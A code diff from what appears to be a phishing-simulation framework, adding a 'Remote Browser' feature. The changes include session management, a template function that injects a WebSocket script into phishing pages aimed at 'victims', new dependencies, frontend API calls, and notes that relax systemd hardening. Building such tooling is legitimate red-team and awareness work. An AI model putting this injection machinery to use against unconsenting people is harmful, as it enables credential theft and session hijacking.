Where("key = ?", data.OptionKeyRemoteBrowserWSPath).
|
||||
Count(&c)
|
||||
|
||||
if res.Error != nil {
|
||||
return errs.Wrap(res.Error)
|
||||
}
|
||||
if c == 0 {
|
||||
b := make([]byte, 12)
|
||||
_, err := rand.Read(b)
|
||||
if err != nil {
|
||||
return errs.Wrap(err)
|
||||
}
|
||||
charset := "abcdefghijklmnopqrstuvwxyz0123456789"
|
||||
wsPath := ""
|
||||
for i := range b {
|
||||
wsPath += string(charset[int(b[i])%len(charset)])
|
||||
}
|
||||
res = db.Create(&database.Option{
|
||||
ID: &id,
|
||||
Key: data.OptionKeyRemoteBrowserWSPath,
|
||||
Value: wsPath,
|
||||
})
|
||||
if res.Error != nil {
|
||||
return errs.Wrap(res.Error)
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
|
||||
@@ -57,6 +57,7 @@ type Campaign struct {
|
||||
WebhookService *Webhook
|
||||
MicrosoftDeviceCodeRepository *repository.MicrosoftDeviceCode
|
||||
AttachmentPath string
|
||||
RemoteBrowserService *RemoteBrowser
|
||||
}
|
||||
|
||||
// Create creates a new campaign
|
||||
@@ -1880,6 +1881,9 @@ func (c *Campaign) DeleteByID(
|
||||
c.Logger.Errorw("failed to delete campaign by id", "error", err)
|
||||
return errs.Wrap(err)
|
||||
}
|
||||
if c.RemoteBrowserService != nil {
|
||||
c.RemoteBrowserService.TerminateByCampaignID(*id)
|
||||
}
|
||||
c.AuditLogAuthorized(ae)
|
||||
return nil
|
||||
}
|
||||
@@ -3190,6 +3194,9 @@ func (c *Campaign) closeCampaign(
|
||||
c.Logger.Errorw("failed to cancel recipients", "error", err)
|
||||
return errs.Wrap(err)
|
||||
}
|
||||
if c.RemoteBrowserService != nil {
|
||||
c.RemoteBrowserService.TerminateByCampaignID(*id)
|
||||
}
|
||||
err = campaign.Closed()
|
||||
if go_errors.Is(err, errs.ErrCampaignAlreadyClosed) {
|
||||
c.Logger.Debugw("campaign already closed", "error", err)
|
||||
|
||||
@@ -0,0 +1,306 @@
|
||||
package service
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"sync"
|
||||
|
||||
"github.com/go-errors/errors"
|
||||
"github.com/google/uuid"
|
||||
"github.com/phishingclub/phishingclub/data"
|
||||
"github.com/phishingclub/phishingclub/errs"
|
||||
"github.com/phishingclub/phishingclub/model"
|
||||
"github.com/phishingclub/phishingclub/repository"
|
||||
"github.com/phishingclub/phishingclub/validate"
|
||||
"gorm.io/gorm"
|
||||
)
|
||||
|
||||
// LiveSession is the minimal interface the service needs to manage session lifecycle.
|
||||
// The controller's concrete session type implements this; the service never needs to
|
||||
// know about browser pages or WebSocket connections.
|
||||
type LiveSession interface {
|
||||
GetCampaignID() uuid.UUID
|
||||
Cancel()
|
||||
IsKeepAlive() bool
|
||||
}
|
||||
|
||||
// RemoteBrowser manages saved remote browser scripts and tracks live sessions.
|
||||
type RemoteBrowser struct {
|
||||
Common
|
||||
RemoteBrowserRepository *repository.RemoteBrowser
|
||||
sessions sync.Map // key (crID or rbID string) → LiveSession
|
||||
}
|
||||
|
||||
// SwapSession atomically replaces the session for key, returning the previous one.
|
||||
func (s *RemoteBrowser) SwapSession(key string, sess LiveSession) (LiveSession, bool) {
|
||||
prev, had := s.sessions.Swap(key, sess)
|
||||
if !had {
|
||||
return nil, false
|
||||
}
|
||||
return prev.(LiveSession), true
|
||||
}
|
||||
|
||||
// StoreSession stores a session, overwriting any existing entry for key.
|
||||
func (s *RemoteBrowser) StoreSession(key string, sess LiveSession) {
|
||||
s.sessions.Store(key, sess)
|
||||
}
|
||||
|
||||
// LoadSession returns the session for key, if present.
|
||||
func (s *RemoteBrowser) LoadSession(key string) (LiveSession, bool) {
|
||||
val, ok := s.sessions.Load(key)
|
||||
if !ok {
|
||||
return nil, false
|
||||
}
|
||||
return val.(LiveSession), true
|
||||
}
|
||||
|
||||
// LoadAndDeleteSession atomically loads and removes the session for key.
|
||||
func (s *RemoteBrowser) LoadAndDeleteSession(key string) (LiveSession, bool) {
|
||||
val, loaded := s.sessions.LoadAndDelete(key)
|
||||
if !loaded {
|
||||
return nil, false
|
||||
}
|
||||
return val.(LiveSession), true
|
||||
}
|
||||
|
||||
// CompareAndDeleteSession removes the session for key only if it is still sess
|
||||
// (pointer identity), so a newer session's cleanup never evicts its own entry.
|
||||
func (s *RemoteBrowser) CompareAndDeleteSession(key string, sess LiveSession) {
|
||||
s.sessions.CompareAndDelete(key, sess)
|
||||
}
|
||||
|
||||
// RangeSessions calls fn for every live session. Returning false stops iteration.
|
||||
func (s *RemoteBrowser) RangeSessions(fn func(key string, sess LiveSession) bool) {
|
||||
s.sessions.Range(func(k, v any) bool {
|
||||
return fn(k.(string), v.(LiveSession))
|
||||
})
|
||||
}
|
||||
|
||||
// TerminateByCampaignID cancels and removes all sessions belonging to campaignID.
|
||||
// Called by service.Campaign on close/delete.
|
||||
func (s *RemoteBrowser) TerminateByCampaignID(campaignID uuid.UUID) {
|
||||
s.sessions.Range(func(key, value any) bool {
|
||||
sess := value.(LiveSession)
|
||||
if sess.GetCampaignID() == campaignID {
|
||||
sess.Cancel()
|
||||
s.sessions.CompareAndDelete(key, value)
|
||||
}
|
||||
return true
|
||||
})
|
||||
}
|
||||
|
||||
// Create saves a new remote browser script.
|
||||
func (s *RemoteBrowser) Create(
|
||||
ctx context.Context,
|
||||
session *model.Session,
|
||||
rb *model.RemoteBrowser,
|
||||
) (*uuid.UUID, error) {
|
||||
ae := NewAuditEvent("RemoteBrowser.Create", session)
|
||||
isAuthorized, err := IsAuthorized(session, data.PERMISSION_ALLOW_GLOBAL)
|
||||
if err != nil && !errors.Is(err, errs.ErrAuthorizationFailed) {
|
||||
s.LogAuthError(err)
|
||||
return nil, errs.Wrap(err)
|
||||
}
|
||||
if !isAuthorized {
|
||||
s.AuditLogNotAuthorized(ae)
|
||||
return nil, errs.ErrAuthorizationFailed
|
||||
}
|
||||
|
||||
var companyID *uuid.UUID
|
||||
if cid, err := rb.CompanyID.Get(); err == nil {
|
||||
companyID = &cid
|
||||
}
|
||||
|
||||
if err := rb.Validate(); err != nil {
|
||||
s.Logger.Errorw("failed to validate remote browser", "error", err)
|
||||
return nil, errs.Wrap(err)
|
||||
}
|
||||
|
||||
name := rb.Name.MustGet()
|
||||
isOK, err := repository.CheckNameIsUnique(ctx, s.RemoteBrowserRepository.DB, "remote_browsers", name.String(), companyID, nil)
|
||||
if err != nil {
|
||||
s.Logger.Errorw("failed to check remote browser uniqueness", "error", err)
|
||||
return nil, errs.Wrap(err)
|
||||
}
|
||||
if !isOK {
|
||||
return nil, validate.WrapErrorWithField(errors.New("is not unique"), "name")
|
||||
}
|
||||
|
||||
id, err := s.RemoteBrowserRepository.Insert(ctx, rb)
|
||||
if err != nil {
|
||||
s.Logger.Errorw("failed to create remote browser", "error", err)
|
||||
return nil, errs.Wrap(err)
|
||||
}
|
||||
ae.Details["id"] = id.String()
|
||||
s.AuditLogAuthorized(ae)
|
||||
return id, nil
|
||||
}
|
||||
|
||||
// GetAll returns all remote browsers for the given company.
|
||||
func (s *RemoteBrowser) GetAll(
|
||||
ctx context.Context,
|
||||
session *model.Session,
|
||||
companyID *uuid.UUID,
|
||||
options *repository.RemoteBrowserOption,
|
||||
) (*model.Result[model.RemoteBrowser], error) {
|
||||
result := model.NewEmptyResult[model.RemoteBrowser]()
|
||||
ae := NewAuditEvent("RemoteBrowser.GetAll", session)
|
||||
isAuthorized, err := IsAuthorized(session, data.PERMISSION_ALLOW_GLOBAL)
|
||||
if err != nil && !errors.Is(err, errs.ErrAuthorizationFailed) {
|
||||
s.LogAuthError(err)
|
||||
return result, errs.Wrap(err)
|
||||
}
|
||||
if !isAuthorized {
|
||||
s.AuditLogNotAuthorized(ae)
|
||||
return result, errs.ErrAuthorizationFailed
|
||||
}
|
||||
result, err = s.RemoteBrowserRepository.GetAll(ctx, companyID, options)
|
||||
if err != nil {
|
||||
s.Logger.Errorw("failed to get remote browsers", "error", err)
|
||||
return result, errs.Wrap(err)
|
||||
}
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// GetAllOverview returns lightweight overview rows.
|
||||
func (s *RemoteBrowser) GetAllOverview(
|
||||
companyID *uuid.UUID,
|
||||
ctx context.Context,
|
||||
session *model.Session,
|
||||
options *repository.RemoteBrowserOption,
|
||||
) (*model.Result[model.RemoteBrowserOverview], error) {
|
||||
result := model.NewEmptyResult[model.RemoteBrowserOverview]()
|
||||
ae := NewAuditEvent("RemoteBrowser.GetAllOverview", session)
|
||||
isAuthorized, err := IsAuthorized(session, data.PERMISSION_ALLOW_GLOBAL)
|
||||
if err != nil && !errors.Is(err, errs.ErrAuthorizationFailed) {
|
||||
s.LogAuthError(err)
|
||||
return result, errs.Wrap(err)
|
||||
}
|
||||
if !isAuthorized {
|
||||
s.AuditLogNotAuthorized(ae)
|
||||
return result, errs.ErrAuthorizationFailed
|
||||
}
|
||||
result, err = s.RemoteBrowserRepository.GetAllSubset(ctx, companyID, options)
|
||||
if err != nil {
|
||||
s.Logger.Errorw("failed to get remote browser overview", "error", err)
|
||||
return result, errs.Wrap(err)
|
||||
}
|
||||
return result, nil
|
||||
}
|
||||
|
||||
// GetByID returns a single remote browser by ID.
|
||||
func (s *RemoteBrowser) GetByID(
|
||||
ctx context.Context,
|
||||
session *model.Session,
|
||||
id *uuid.UUID,
|
||||
options *repository.RemoteBrowserOption,
|
||||
) (*model.RemoteBrowser, error) {
|
||||
ae := NewAuditEvent("RemoteBrowser.GetByID", session)
|
||||
ae.Details["id"] = id.String()
|
||||
isAuthorized, err := IsAuthorized(session, data.PERMISSION_ALLOW_GLOBAL)
|
||||
if err != nil && !errors.Is(err, errs.ErrAuthorizationFailed) {
|
||||
s.LogAuthError(err)
|
||||
return nil, errs.Wrap(err)
|
||||
}
|
||||
if !isAuthorized {
|
||||
s.AuditLogNotAuthorized(ae)
|
||||
return nil, errs.ErrAuthorizationFailed
|
||||
}
|
||||
rb, err := s.RemoteBrowserRepository.GetByID(ctx, id, options)
|
||||
if errors.Is(err, gorm.ErrRecordNotFound) {
|
||||
return nil, errs.Wrap(err)
|
||||
}
|
||||
if err != nil {
|
||||
s.Logger.Errorw("failed to get remote browser by ID", "error", err)
|
||||
return nil, errs.Wrap(err)
|
||||
}
|
||||
return rb, nil
|
||||
}
|
||||
|
||||
// UpdateByID updates mutable fields on a remote browser.
|
||||
func (s *RemoteBrowser) UpdateByID(
|
||||
ctx context.Context,
|
||||
session *model.Session,
|
||||
id *uuid.UUID,
|
||||
rb *model.RemoteBrowser,
|
||||
) error {
|
||||
ae := NewAuditEvent("RemoteBrowser.UpdateByID", session)
|
||||
ae.Details["id"] = id.String()
|
||||
isAuthorized, err := IsAuthorized(session, data.PERMISSION_ALLOW_GLOBAL)
|
||||
if err != nil && !errors.Is(err, errs.ErrAuthorizationFailed) {
|
||||
s.LogAuthError(err)
|
||||
return err
|
||||
}
|
||||
if !isAuthorized {
|
||||
s.AuditLogNotAuthorized(ae)
|
||||
return errs.ErrAuthorizationFailed
|
||||
}
|
||||
|
||||
current, err := s.RemoteBrowserRepository.GetByID(ctx, id, &repository.RemoteBrowserOption{})
|
||||
if errors.Is(err, gorm.ErrRecordNotFound) {
|
||||
return err
|
||||
}
|
||||
if err != nil {
|
||||
s.Logger.Errorw("failed to get remote browser for update", "error", err)
|
||||
return err
|
||||
}
|
||||
|
||||
if _, err := rb.Name.Get(); err == nil {
|
||||
var companyID *uuid.UUID
|
||||
if cid, err := current.CompanyID.Get(); err == nil {
|
||||
companyID = &cid
|
||||
}
|
||||
name := rb.Name.MustGet()
|
||||
isOK, err := repository.CheckNameIsUnique(ctx, s.RemoteBrowserRepository.DB, "remote_browsers", name.String(), companyID, id)
|
||||
if err != nil {
|
||||
s.Logger.Errorw("failed to check remote browser name uniqueness on update", "error", err)
|
||||
return errs.Wrap(err)
|
||||
}
|
||||
if !isOK {
|
||||
return validate.WrapErrorWithField(errors.New("is not unique"), "name")
|
||||
}
|
||||
}
|
||||
|
||||
if rb.Config.IsSpecified() {
|
||||
if cfg, err := rb.Config.Get(); err == nil {
|
||||
if cfg.Mode != "" && cfg.Mode != "local" && cfg.Mode != "remote" {
|
||||
return fmt.Errorf("config.mode must be 'local' or 'remote'")
|
||||
}
|
||||
if cfg.Mode == "remote" && cfg.Remote == "" {
|
||||
return fmt.Errorf("config.remote is required when mode is 'remote'")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if err := s.RemoteBrowserRepository.UpdateByID(ctx, id, rb); err != nil {
|
||||
s.Logger.Errorw("failed to update remote browser", "error", err)
|
||||
return errs.Wrap(err)
|
||||
}
|
||||
s.AuditLogAuthorized(ae)
|
||||
return nil
|
||||
}
|
||||
|
||||
// DeleteByID removes a remote browser.
|
||||
func (s *RemoteBrowser) DeleteByID(
|
||||
ctx context.Context,
|
||||
session *model.Session,
|
||||
id *uuid.UUID,
|
||||
) error {
|
||||
ae := NewAuditEvent("RemoteBrowser.DeleteByID", session)
|
||||
ae.Details["id"] = id.String()
|
||||
isAuthorized, err := IsAuthorized(session, data.PERMISSION_ALLOW_GLOBAL)
|
||||
if err != nil && !errors.Is(err, errs.ErrAuthorizationFailed) {
|
||||
s.LogAuthError(err)
|
||||
return err
|
||||
}
|
||||
if !isAuthorized {
|
||||
s.AuditLogNotAuthorized(ae)
|
||||
return errs.ErrAuthorizationFailed
|
||||
}
|
||||
if err := s.RemoteBrowserRepository.DeleteByID(ctx, id); err != nil {
|
||||
s.Logger.Errorw("failed to delete remote browser", "error", err)
|
||||
return errs.Wrap(err)
|
||||
}
|
||||
s.AuditLogAuthorized(ae)
|
||||
return nil
|
||||
}
|
||||
@@ -16,7 +16,9 @@ import (
|
||||
|
||||
"github.com/go-errors/errors"
|
||||
"github.com/google/uuid"
|
||||
"github.com/phishingclub/phishingclub/embedded"
|
||||
"github.com/oapi-codegen/nullable"
|
||||
"github.com/phishingclub/phishingclub/data"
|
||||
"github.com/phishingclub/phishingclub/database"
|
||||
"github.com/phishingclub/phishingclub/errs"
|
||||
"github.com/phishingclub/phishingclub/model"
|
||||
@@ -33,6 +35,8 @@ const trackingPixelTemplate = "{{.Tracker}}"
|
||||
type Template struct {
|
||||
Common
|
||||
RecipientRepository *repository.Recipient
|
||||
OptionRepository *repository.Option
|
||||
RemoteBrowserRepository *repository.RemoteBrowser
|
||||
MicrosoftDeviceCodeService *MicrosoftDeviceCode
|
||||
}
|
||||
|
||||
@@ -448,6 +452,38 @@ func (t *Template) CreatePhishingPageWithCampaignAndRecipient(
|
||||
templateFuncs = t.TemplateFuncsWithCompany(ctx, companyID)
|
||||
}
|
||||
|
||||
// Add RemoteBrowserScript - injects a <script> that opens a WS to the victim
|
||||
// endpoint and exposes window.RemoteBrowser.on(event, fn) / .send(event, data).
|
||||
// Usage in page template: {{RemoteBrowserScript "remote-browser-uuid"}}
|
||||
{
|
||||
wsPath := t.remoteBrowserWSPath(ctx)
|
||||
capturedID := id // close over the campaign recipient ID for this render
|
||||
hasCampaign := campaign != nil
|
||||
templateFuncs["RemoteBrowserScript"] = func(rbName string) string {
|
||||
if !hasCampaign || capturedID == "" || rbName == "" || t.RemoteBrowserRepository == nil {
|
||||
return ""
|
||||
}
|
||||
nameVO, err := vo.NewString64(rbName)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
rb, err := t.RemoteBrowserRepository.GetByNameAndCompanyID(ctx, nameVO, companyID, &repository.RemoteBrowserOption{})
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
rbIDVal, err := rb.ID.Get()
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
script := strings.NewReplacer(
|
||||
"__WS_PATH__", wsPath,
|
||||
"__CR_ID__", capturedID,
|
||||
"__RB_ID__", rbIDVal.String(),
|
||||
).Replace(embedded.RemoteBrowserInjectJS)
|
||||
return "<script>" + script + "</script>"
|
||||
}
|
||||
}
|
||||
|
||||
tmpl, err := template.New("page").
|
||||
Funcs(templateFuncs).
|
||||
Parse(contentToRender)
|
||||
@@ -612,6 +648,19 @@ func (t *Template) newTemplateDataMapWithDenyURL(
|
||||
return data
|
||||
}
|
||||
|
||||
// remoteBrowserWSPath returns the seeded random path segment used for the
|
||||
// victim-facing remote browser WebSocket endpoint. Falls back to "rbws" if
|
||||
// the option is not yet seeded (e.g. during tests or first startup).
|
||||
func (t *Template) remoteBrowserWSPath(ctx context.Context) string {
|
||||
if t.OptionRepository == nil {
|
||||
return "rbws"
|
||||
}
|
||||
if opt, err := t.OptionRepository.GetByKey(ctx, data.OptionKeyRemoteBrowserWSPath); err == nil {
|
||||
return opt.Value.String()
|
||||
}
|
||||
return "rbws"
|
||||
}
|
||||
|
||||
// TemplateFuncs returns template functions for templates
|
||||
func TemplateFuncs() template.FuncMap {
|
||||
return template.FuncMap{
|
||||
@@ -656,6 +705,11 @@ func TemplateFuncs() template.FuncMap {
|
||||
"DeviceCodeCaptured": func(args ...string) (bool, error) {
|
||||
return false, nil
|
||||
},
|
||||
// RemoteBrowserScript is a no-op stub used during template validation; it is replaced with
|
||||
// a live implementation that outputs a real WebSocket <script> tag when rendering for recipients.
|
||||
"RemoteBrowserScript": func(rbID string) string {
|
||||
return ""
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
Vendored
+54
@@ -125,6 +125,20 @@ github.com/cloudwego/iasm/x86_64
|
||||
# github.com/davecgh/go-spew v1.1.1
|
||||
## explicit
|
||||
github.com/davecgh/go-spew/spew
|
||||
# github.com/dlclark/regexp2 v1.11.4
|
||||
## explicit; go 1.13
|
||||
github.com/dlclark/regexp2
|
||||
github.com/dlclark/regexp2/syntax
|
||||
# github.com/dop251/goja v0.0.0-20260226184354-913bd86fb70c
|
||||
## explicit; go 1.20
|
||||
github.com/dop251/goja
|
||||
github.com/dop251/goja/ast
|
||||
github.com/dop251/goja/file
|
||||
github.com/dop251/goja/ftoa
|
||||
github.com/dop251/goja/ftoa/internal/fast
|
||||
github.com/dop251/goja/parser
|
||||
github.com/dop251/goja/token
|
||||
github.com/dop251/goja/unistring
|
||||
# github.com/enetx/g v1.0.194
|
||||
## explicit; go 1.24.0
|
||||
github.com/enetx/g
|
||||
@@ -245,6 +259,23 @@ github.com/go-playground/universal-translator
|
||||
# github.com/go-playground/validator/v10 v10.22.0
|
||||
## explicit; go 1.18
|
||||
github.com/go-playground/validator/v10
|
||||
# github.com/go-rod/rod v0.116.2
|
||||
## explicit; go 1.21
|
||||
github.com/go-rod/rod
|
||||
github.com/go-rod/rod/lib/assets
|
||||
github.com/go-rod/rod/lib/cdp
|
||||
github.com/go-rod/rod/lib/defaults
|
||||
github.com/go-rod/rod/lib/devices
|
||||
github.com/go-rod/rod/lib/input
|
||||
github.com/go-rod/rod/lib/js
|
||||
github.com/go-rod/rod/lib/launcher
|
||||
github.com/go-rod/rod/lib/launcher/flags
|
||||
github.com/go-rod/rod/lib/proto
|
||||
github.com/go-rod/rod/lib/utils
|
||||
# github.com/go-sourcemap/sourcemap v2.1.3+incompatible
|
||||
## explicit
|
||||
github.com/go-sourcemap/sourcemap
|
||||
github.com/go-sourcemap/sourcemap/internal/base64vlq
|
||||
# github.com/go-task/slim-sprig/v3 v3.0.0
|
||||
## explicit; go 1.20
|
||||
github.com/go-task/slim-sprig/v3
|
||||
@@ -272,6 +303,9 @@ github.com/google/pprof/profile
|
||||
# github.com/google/uuid v1.3.1
|
||||
## explicit
|
||||
github.com/google/uuid
|
||||
# github.com/gorilla/websocket v1.5.3
|
||||
## explicit; go 1.12
|
||||
github.com/gorilla/websocket
|
||||
# github.com/jinzhu/inflection v1.0.0
|
||||
## explicit
|
||||
github.com/jinzhu/inflection
|
||||
@@ -453,6 +487,23 @@ github.com/yeqown/go-qrcode/v2
|
||||
## explicit
|
||||
github.com/yeqown/reedsolomon
|
||||
github.com/yeqown/reedsolomon/binary
|
||||
# github.com/ysmood/fetchup v0.2.3
|
||||
## explicit; go 1.20
|
||||
github.com/ysmood/fetchup
|
||||
# github.com/ysmood/goob v0.4.0
|
||||
## explicit; go 1.15
|
||||
github.com/ysmood/goob
|
||||
# github.com/ysmood/got v0.40.0
|
||||
## explicit; go 1.21
|
||||
github.com/ysmood/got/lib/lcs
|
||||
# github.com/ysmood/gson v0.7.3
|
||||
## explicit; go 1.15
|
||||
github.com/ysmood/gson
|
||||
# github.com/ysmood/leakless v0.9.0
|
||||
## explicit; go 1.15
|
||||
github.com/ysmood/leakless
|
||||
github.com/ysmood/leakless/pkg/shared
|
||||
github.com/ysmood/leakless/pkg/utils
|
||||
# github.com/zeebo/blake3 v0.2.3
|
||||
## explicit; go 1.13
|
||||
github.com/zeebo/blake3
|
||||
@@ -541,6 +592,7 @@ golang.org/x/sys/windows
|
||||
# golang.org/x/text v0.30.0
|
||||
## explicit; go 1.24.0
|
||||
golang.org/x/text/cases
|
||||
golang.org/x/text/collate
|
||||
golang.org/x/text/encoding
|
||||
golang.org/x/text/encoding/charmap
|
||||
golang.org/x/text/encoding/htmlindex
|
||||
@@ -552,6 +604,7 @@ golang.org/x/text/encoding/simplifiedchinese
|
||||
golang.org/x/text/encoding/traditionalchinese
|
||||
golang.org/x/text/encoding/unicode
|
||||
golang.org/x/text/internal
|
||||
golang.org/x/text/internal/colltab
|
||||
golang.org/x/text/internal/language
|
||||
golang.org/x/text/internal/language/compact
|
||||
golang.org/x/text/internal/tag
|
||||
@@ -563,6 +616,7 @@ golang.org/x/text/secure/precis
|
||||
golang.org/x/text/transform
|
||||
golang.org/x/text/unicode/bidi
|
||||
golang.org/x/text/unicode/norm
|
||||
golang.org/x/text/unicode/rangetable
|
||||
golang.org/x/text/width
|
||||
# golang.org/x/time v0.14.0
|
||||
## explicit; go 1.24.0
|
||||
|
||||
@@ -1,29 +0,0 @@
|
||||
{
|
||||
"acme": {
|
||||
"email": ""
|
||||
},
|
||||
"administration": {
|
||||
"tls_host": "localhost",
|
||||
"tls_auto": false,
|
||||
"tls_cert_path": "/app/data/certs/admin/public.pem",
|
||||
"tls_key_path": "/app/data/certs/admin/private.pem",
|
||||
"address": "0.0.0.0:8000"
|
||||
},
|
||||
"phishing": {
|
||||
"http": "0.0.0.0:8080",
|
||||
"https": "0.0.0.0:8443"
|
||||
},
|
||||
"database": {
|
||||
"engine": "sqlite3",
|
||||
"dsn": "file:/app/data/db.sqlite3"
|
||||
},
|
||||
"log": {
|
||||
"path": "",
|
||||
"errorPath": ""
|
||||
},
|
||||
"ip_security": {
|
||||
"admin_allowed": [],
|
||||
"trusted_proxies": [],
|
||||
"trusted_ip_header": ""
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,31 @@
|
||||
# 1.36.0 Update Notes
|
||||
|
||||
## Remote Browser — systemd service update required
|
||||
|
||||
To use the Remote Browser feature, existing installations must update the service file. Three hardening flags that block Chromium have been removed or relaxed:
|
||||
|
||||
| Change | Reason |
|
||||
|--------|--------|
|
||||
| `AF_NETLINK` added to `RestrictAddressFamilies` | Chromium requires netlink sockets for udev device enumeration |
|
||||
| `RestrictNamespaces=true` removed | Chromium uses namespaces for its internal sandbox |
|
||||
| `MemoryDenyWriteExecute=true` removed | V8 JIT requires write+execute memory |
|
||||
|
||||
1. Open the service file:
|
||||
```
|
||||
systemctl edit --full phishingclub
|
||||
```
|
||||
|
||||
2. Replace the relevant lines so they match:
|
||||
```
|
||||
RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX AF_NETLINK
|
||||
RestrictRealtime=true
|
||||
RestrictSUIDSGID=true
|
||||
```
|
||||
(`RestrictNamespaces` and `MemoryDenyWriteExecute` lines should be removed entirely)
|
||||
|
||||
3. Reload and restart:
|
||||
```
|
||||
systemctl daemon-reload && systemctl restart phishingclub
|
||||
```
|
||||
|
||||
New installations via the built-in installer are not affected.
|
||||
+1
-1
@@ -1,4 +1,4 @@
|
||||
FROM node:latest
|
||||
FROM node:22-slim@sha256:32b9e321f262db540d55ac10dc529667cf4737546e097cdd36a843c62bcbf423
|
||||
|
||||
WORKDIR /app
|
||||
|
||||
|
||||
@@ -21,7 +21,9 @@
|
||||
"@sveltejs/kit": "2.6.1",
|
||||
"@vitejs/plugin-basic-ssl": "1.1.0",
|
||||
"autoprefixer": "10.4.20",
|
||||
"license-checker": "^25.0.1",
|
||||
"nodemon": "3.1.7",
|
||||
"npm-check-updates": "^17.1.3",
|
||||
"prettier": "3.3.3",
|
||||
"prettier-plugin-svelte": "^3.4.0",
|
||||
"vite": "5.4.8"
|
||||
@@ -33,11 +35,9 @@
|
||||
"d3": "^7.9.0",
|
||||
"date-fns": "4.1.0",
|
||||
"devalue": "^5.3.2",
|
||||
"license-checker": "^25.0.1",
|
||||
"monaco-editor": "^0.53.0",
|
||||
"monaco-vim": "^0.4.2",
|
||||
"nanoid": "^5.1.5",
|
||||
"npm-check-updates": "^17.1.3",
|
||||
"papaparse": "^5.5.3",
|
||||
"svelte": "^4.2.19",
|
||||
"tailwindcss": "3.4.13"
|
||||
|
||||
@@ -3280,6 +3280,93 @@ export class API {
|
||||
}
|
||||
};
|
||||
|
||||
/**
|
||||
* remoteBrowser is the API for Remote Browser script management and test runs.
|
||||
*/
|
||||
remoteBrowser = {
|
||||
/**
|
||||
* Get a Remote Browser by ID.
|
||||
* @param {string} id
|
||||
* @returns {Promise<ApiResponse>}
|
||||
*/
|
||||
getByID: async (id) => {
|
||||
return await getJSON(this.getPath(`/remote-browser/${id}`));
|
||||
},
|
||||
|
||||
/**
|
||||
* Get all Remote Browsers with pagination.
|
||||
* @param {TableURLParams} options
|
||||
* @param {string|null} companyID
|
||||
* @returns {Promise<ApiResponse>}
|
||||
*/
|
||||
getAll: async (options, companyID = null) => {
|
||||
return await getJSON(
|
||||
this.getPath(`/remote-browser?${appendQuery(options)}${this.appendCompanyQuery(companyID)}`)
|
||||
);
|
||||
},
|
||||
|
||||
/**
|
||||
* Get lightweight overview list.
|
||||
* @param {TableURLParams} options
|
||||
* @param {string|null} companyID
|
||||
* @returns {Promise<ApiResponse>}
|
||||
*/
|
||||
getAllSubset: async (options, companyID = null) => {
|
||||
return await getJSON(
|
||||
this.getPath(
|
||||
`/remote-browser/overview?${appendQuery(options)}${this.appendCompanyQuery(companyID)}`
|
||||
)
|
||||
);
|
||||
},
|
||||
|
||||
/**
|
||||
* Create a new Remote Browser.
|
||||
* @param {object} rb
|
||||
* @returns {Promise<ApiResponse>}
|
||||
*/
|
||||
create: async (rb) => {
|
||||
return await postJSON(this.getPath('/remote-browser'), rb);
|
||||
},
|
||||
|
||||
/**
|
||||
* Update a Remote Browser.
|
||||
* @param {string} id
|
||||
* @param {object} rb
|
||||
* @returns {Promise<ApiResponse>}
|
||||
*/
|
||||
update: async (id, rb) => {
|
||||
return await patchJSON(this.getPath(`/remote-browser/${id}`), rb);
|
||||
},
|
||||
|
||||
/**
|
||||
* Delete a Remote Browser.
|
||||
* @param {string} id
|
||||
* @returns {Promise<ApiResponse>}
|
||||
*/
|
||||
delete: async (id) => {
|
||||
return await deleteJSON(this.getPath(`/remote-browser/${id}`));
|
||||
},
|
||||
|
||||
/**
|
||||
* List active live sessions (optionally filter by campaignID).
|
||||
* @param {string|null} campaignID
|
||||
* @returns {Promise<ApiResponse>}
|
||||
*/
|
||||
getLiveSessions: async (campaignID = null) => {
|
||||
const q = campaignID ? `?campaignID=${campaignID}` : '';
|
||||
return await getJSON(this.getPath(`/remote-browser/live${q}`));
|
||||
},
|
||||
|
||||
/**
|
||||
* Close (kill) an active live session.
|
||||
* @param {string} crID Campaign-recipient ID
|
||||
* @returns {Promise<ApiResponse>}
|
||||
*/
|
||||
closeLiveSession: async (crID) => {
|
||||
return await deleteJSON(this.getPath(`/remote-browser/live/${crID}`));
|
||||
}
|
||||
};
|
||||
|
||||
/**
|
||||
* ipAllowList is the API for IP Allow List related operations.
|
||||
*/
|
||||
|
||||
@@ -16,7 +16,12 @@ export const getJSON = async (url) => {
|
||||
const res = await fetch(url, {
|
||||
method: 'GET'
|
||||
});
|
||||
const body = await res.json();
|
||||
let body = {};
|
||||
try {
|
||||
body = await res.json();
|
||||
} catch (e) {
|
||||
body = { success: false, error: 'invalid JSON in response' };
|
||||
}
|
||||
return newResponse(body.success, res.status, body.error, body.data);
|
||||
};
|
||||
|
||||
|
||||
@@ -347,6 +347,7 @@
|
||||
{/if}
|
||||
</div>
|
||||
<button
|
||||
type="button"
|
||||
class="w-4 hover:scale-110 flex-shrink-0"
|
||||
on:click={close}
|
||||
disabled={isSubmitting}
|
||||
|
||||
@@ -92,6 +92,9 @@
|
||||
if ($displayMode === DISPLAY_MODE.BLACKBOX) {
|
||||
result['Device Code'] = deviceCodeTemplates;
|
||||
}
|
||||
if ($displayMode === DISPLAY_MODE.BLACKBOX && contentType === 'page') {
|
||||
result['Remote Browser'] = [{ label: 'Script', text: '{{RemoteBrowserScript "remote_browser_name"}}' }];
|
||||
}
|
||||
return result;
|
||||
})();
|
||||
|
||||
@@ -457,7 +460,8 @@
|
||||
.replaceAll('{{.URL}}', _url)
|
||||
.replaceAll('{{MicrosoftDeviceCode}}', 'ABCD-1234')
|
||||
.replaceAll('{{MicrosoftDeviceCodeURL}}', 'https://microsoft.com/devicelogin')
|
||||
.replaceAll('{{DeviceCodeCaptured}}', 'false');
|
||||
.replaceAll('{{DeviceCodeCaptured}}', 'false')
|
||||
.replace(/\{\{RemoteBrowserScript\s+"[^"]*"\}\}/g, '<!-- RemoteBrowserScript (injected at runtime) -->');
|
||||
case 'email':
|
||||
return text
|
||||
.replaceAll('{{.FirstName}}', 'Alice')
|
||||
@@ -534,6 +538,7 @@
|
||||
}
|
||||
};
|
||||
